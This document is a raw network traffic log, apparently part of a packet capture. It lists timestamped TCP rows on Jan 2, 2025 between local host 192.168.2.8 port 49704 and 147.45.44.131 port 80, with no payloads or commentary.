Jan 2, 2025 19:14:18.118397951 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.118402004 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118413925 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118417978 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118427992 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.118427992 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118436098 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118441105 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118447065 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118448973 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.118482113 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.118503094 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118508101 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118513107 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118515015 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.118519068 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118525028 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118530989 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118535042 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118540049 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118546963 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118556976 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.118597984 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.119391918 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.210699081 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.210747004 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.210760117 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.210766077 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.210772038 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.210778952 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.210784912 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.210792065 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.210797071 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.210840940 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.210867882 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.210906029 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.210913897 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.210926056 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.210936069 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.210949898 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.210973978 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.210977077 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.210982084 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.210994959 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.210999966 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211007118 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211028099 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.211046934 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.211087942 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211092949 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211105108 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211112022 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211117029 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211123943 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211137056 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211142063 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.211174011 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.211206913 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.211338043 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211446047 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211460114 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211474895 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211488008 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211493969 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211504936 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211512089 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211517096 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211517096 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.211524010 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211534977 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211540937 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211546898 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211553097 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211559057 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.211585999 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.211595058 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.211608887 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211615086 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211621046 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211632967 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211638927 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211648941 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211654902 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211659908 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211666107 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211666107 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.211683035 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211688995 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211694956 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.211715937 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.211735964 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.211838007 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211843967 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211849928 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211857080 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211863041 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211874008 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211879969 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211884022 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.211894989 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211900949 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.211910963 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.211931944 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.211952925 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.211998940 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212006092 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212039948 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212047100 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212052107 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212063074 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212074995 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.212080002 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212095022 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212100029 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212114096 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212116003 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.212151051 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.212176085 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.212635994 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.212810040 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212873936 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212878942 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212897062 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212903023 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212913990 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212920904 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212932110 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212934971 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.212939024 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212944984 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212953091 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212958097 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212970972 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.212980986 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.213006020 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.213063955 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213077068 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213083029 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213088036 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213093996 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213104010 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213107109 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.213110924 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213123083 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213129044 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213131905 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.213135004 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213140965 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213154078 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213170052 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.213201046 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.213229895 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213236094 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213252068 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213264942 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213270903 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213273048 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.213283062 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213285923 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.213289976 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213325024 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.213351011 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.213390112 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213396072 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213402987 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213407993 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213414907 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213418961 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213430882 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.213466883 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.213499069 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213577986 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213612080 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213618040 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213627100 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.213629961 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213637114 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213641882 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213653088 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213659048 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213660002 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.213676929 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213682890 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213687897 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.213689089 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213695049 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213700056 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213706017 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213710070 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.213711023 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213725090 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213737965 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.213747978 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213754892 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.213766098 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.213788986 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.304371119 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.304378033 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.304384947 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.304393053 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.304439068 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.304457903 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.304475069 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.304487944 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.304495096 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.304501057 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.304507971 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.304513931 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.304519892 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.304526091 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.304532051 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.304533005 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.304538965 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.304558992 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.304563046 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.304569960 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.304588079 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.304611921 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.305090904 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.305174112 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.305177927 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.305190086 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.305197001 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.305202007 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.305214882 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.305221081 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.305222988 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.305253983 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.305275917 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.305980921 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.305988073 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.305994034 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.305999041 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.306005001 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.306010962 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.306022882 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.306025028 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.306066990 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.306133986 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.306139946 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.306145906 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.306152105 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.306157112 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.306163073 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.306175947 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.306184053 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.306200027 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.306219101 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.306984901 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.306992054 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.307003975 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.307008982 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.307014942 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.307020903 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.307027102 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.307032108 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.307056904 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.307100058 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.307128906 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.307135105 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.307153940 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.307166100 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.307173014 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.307177067 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.307178020 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.307185888 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.307223082 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.308242083 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.308248043 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.308259010 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.308273077 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.308279037 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.308284998 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.308295965 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.308296919 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.308304071 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.308345079 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.308927059 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.308932066 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.308948994 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.308984995 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.309020042 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.309020996 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.309036970 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.309042931 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.309055090 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.309062958 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.309067011 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.309091091 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.309123993 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.310091019 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310097933 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310117960 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310143948 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.310154915 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310162067 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310205936 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.310333967 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310339928 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310369968 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.310410976 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310416937 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310421944 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310439110 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310444117 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310450077 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310451984 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.310488939 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.310547113 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310560942 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310566902 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310573101 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310584068 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.310602903 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310609102 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310614109 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310619116 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310625076 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310630083 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.310661077 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.310682058 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.310729027 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310734987 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310740948 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310753107 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310758114 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310769081 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310801029 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.310811043 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.310862064 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310868025 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310873985 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310879946 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310885906 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310893059 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310899019 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310909986 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310915947 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310921907 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.310921907 CET	49704	80	192.168.2.8	147.45.44.131
